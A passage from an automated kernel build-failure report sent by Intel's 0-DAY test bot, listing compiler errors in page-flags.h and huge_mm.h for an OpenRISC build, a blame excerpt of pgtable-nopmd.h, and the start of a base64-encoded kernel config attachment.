'__attribute__' before '{' token include/linux/page-flags.h:216:34: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:217:2: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:218:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:218:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:218:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:218:24: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:218:24: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:218:49: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:219:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:219:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:219:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:219:20: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:220:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:220:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:220:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:220:26: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:221:2: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:222:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:222:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:222:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:223:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:223:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:223:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:224:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:224:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:224:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:224:26: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:224:26: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:225:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:225:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:225:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:225:33: error: expected declaration specifiers before ';' token include/linux/page-flags.h:226:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:226:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:226:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:226:27: error: expected declaration specifiers before ';' token include/linux/page-flags.h:227:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:227:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:227:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:227:30: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:228:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:228:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:228:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:228:34: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:229:2: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:231:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:231:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:231:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:238:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:238:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:238:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:238:28: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:239:2: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:240:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:240:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:240:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:240:31: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:240:31: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:241:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:241:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:241:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:241:36: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:247:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:247:36: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:247:36: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:248:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:248:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:248:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:251:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:251:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:251:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:251:28: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:252:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:252:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:252:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:252:30: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:261:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:261:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:261:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:267:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:267:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:267:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:270:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:270:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:270:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:270:36: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:271:2: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:274:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:274:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:274:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:274:28: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:275:2: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:275:2: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:275:31: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:284:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:284:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:284:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:292:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:292:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:292:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:324:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:341:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:347:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:365:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:371:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:381:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:392:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:397:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:410:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:410:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:410:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:410:24: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:411:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:411:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:411:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:414:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:486:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:487:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:490:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:534:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:539:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:544:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:561:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:566:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:572:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:580:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:585:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:591:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:601:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:607:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:613:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:619:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:669:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token In file included from include/linux/mm.h:318:0, from include/linux/pid_namespace.h:6, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: include/linux/huge_mm.h:6:34: error: expected declaration specifiers or '...' before 'pmd_t' >> include/linux/huge_mm.h:4:12: error: storage class specified for parameter 'do_huge_pmd_anonymous_page' include/linux/huge_mm.h:9:5: error: expected declaration specifiers or '...' before 'pmd_t' include/linux/huge_mm.h:9:21: error: expected declaration specifiers or '...' before 'pmd_t' vim +29 include/asm-generic/pgtable-nopmd.h ^1da177e4 Linus Torvalds 2005-04-16 2 #define _PGTABLE_NOPMD_H ^1da177e4 Linus Torvalds 2005-04-16 3 ^1da177e4 Linus Torvalds 2005-04-16 4 #ifndef __ASSEMBLY__ ^1da177e4 Linus Torvalds 2005-04-16 5 ^1da177e4 Linus Torvalds 2005-04-16 6 #include ^1da177e4 Linus Torvalds 2005-04-16 7 34ee55014 Andrew Morton 2008-07-28 @8 struct mm_struct; 34ee55014 Andrew Morton 2008-07-28 9 ^1da177e4 Linus Torvalds 2005-04-16 10 #define __PAGETABLE_PMD_FOLDED ^1da177e4 Linus Torvalds 2005-04-16 11 ^1da177e4 Linus Torvalds 2005-04-16 12 /* ^1da177e4 Linus Torvalds 2005-04-16 13 * Having the pmd type consist of a pud gets the size right, and allows ^1da177e4 Linus Torvalds 2005-04-16 14 * us to conceptually access the pud entry that this pmd is folded into ^1da177e4 Linus Torvalds 2005-04-16 15 * without casting. ^1da177e4 Linus Torvalds 2005-04-16 16 */ ^1da177e4 Linus Torvalds 2005-04-16 17 typedef struct { pud_t pud; } pmd_t; ^1da177e4 Linus Torvalds 2005-04-16 18 ^1da177e4 Linus Torvalds 2005-04-16 19 #define PMD_SHIFT PUD_SHIFT ^1da177e4 Linus Torvalds 2005-04-16 20 #define PTRS_PER_PMD 1 ^1da177e4 Linus Torvalds 2005-04-16 21 #define PMD_SIZE (1UL << PMD_SHIFT) ^1da177e4 Linus Torvalds 2005-04-16 22 #define PMD_MASK (~(PMD_SIZE-1)) ^1da177e4 Linus Torvalds 2005-04-16 23 ^1da177e4 Linus Torvalds 2005-04-16 24 /* ^1da177e4 Linus Torvalds 2005-04-16 25 * The "pud_xxx()" functions here are trivial for a folded two-level ^1da177e4 Linus Torvalds 2005-04-16 26 * setup: the pmd is never bad, and a pmd always exists (as it's folded ^1da177e4 Linus Torvalds 2005-04-16 27 * into the pud entry) ^1da177e4 Linus Torvalds 2005-04-16 28 */ ^1da177e4 Linus Torvalds 2005-04-16 @29 static inline int pud_none(pud_t pud) { return 0; } ^1da177e4 Linus Torvalds 2005-04-16 30 static inline int pud_bad(pud_t pud) { return 0; } ^1da177e4 Linus Torvalds 2005-04-16 31 static inline int pud_present(pud_t pud) { return 1; } ^1da177e4 Linus Torvalds 2005-04-16 @32 static inline void pud_clear(pud_t *pud) { } ^1da177e4 Linus Torvalds 2005-04-16 33 #define pmd_ERROR(pmd) (pud_ERROR((pmd).pud)) ^1da177e4 Linus Torvalds 2005-04-16 34 ^1da177e4 Linus Torvalds 2005-04-16 35 #define pud_populate(mm, pmd, pte) do { } while (0) :::::: The code at line 29 was first introduced by commit :::::: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 Linux-2.6.12-rc2 :::::: TO: Linus Torvalds :::::: CC: Linus Torvalds --- 0-DAY kernel test infrastructure Open Source Technology Center https://lists.01.org/pipermail/kbuild-all Intel Corporation --2fHTh5uZTiUOsy+g Content-Type: application/octet-stream Content-Disposition: attachment; filename=".config.gz" Content-Transfer-Encoding: base64 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 